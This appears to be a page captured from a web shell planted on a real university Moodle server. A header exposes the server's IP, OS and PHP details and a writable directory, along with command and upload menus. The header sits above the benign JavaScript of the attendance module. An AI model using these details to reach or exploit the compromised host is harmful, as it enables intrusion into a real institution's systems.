Server IP : 103.11.96.170 / Your IP : 3.142.135.246 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/lms/mod/attendance/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
M.mod_attendance = {}; // eslint-disable-line camelcase M.mod_attendance.init_manage = function(Y) { // eslint-disable-line camelcase Y.on('click', function(e) { if (e.target.get('checked')) { Y.all('input.attendancesesscheckbox').each(function() { this.set('checked', 'checked'); }); } else { Y.all('input.attendancesesscheckbox').each(function() { this.set('checked', ''); }); } }, '#cb_selector'); }; M.mod_attendance.set_preferences_action = function(action) { // eslint-disable-line camelcase var item = document.getElementById('preferencesaction'); if (item) { item.setAttribute('value', action); } else { item = document.getElementById('preferencesform'); var input = document.createElement("input"); input.setAttribute("type", "hidden"); input.setAttribute("name", "action"); input.setAttribute("value", action); item.appendChild(input); } };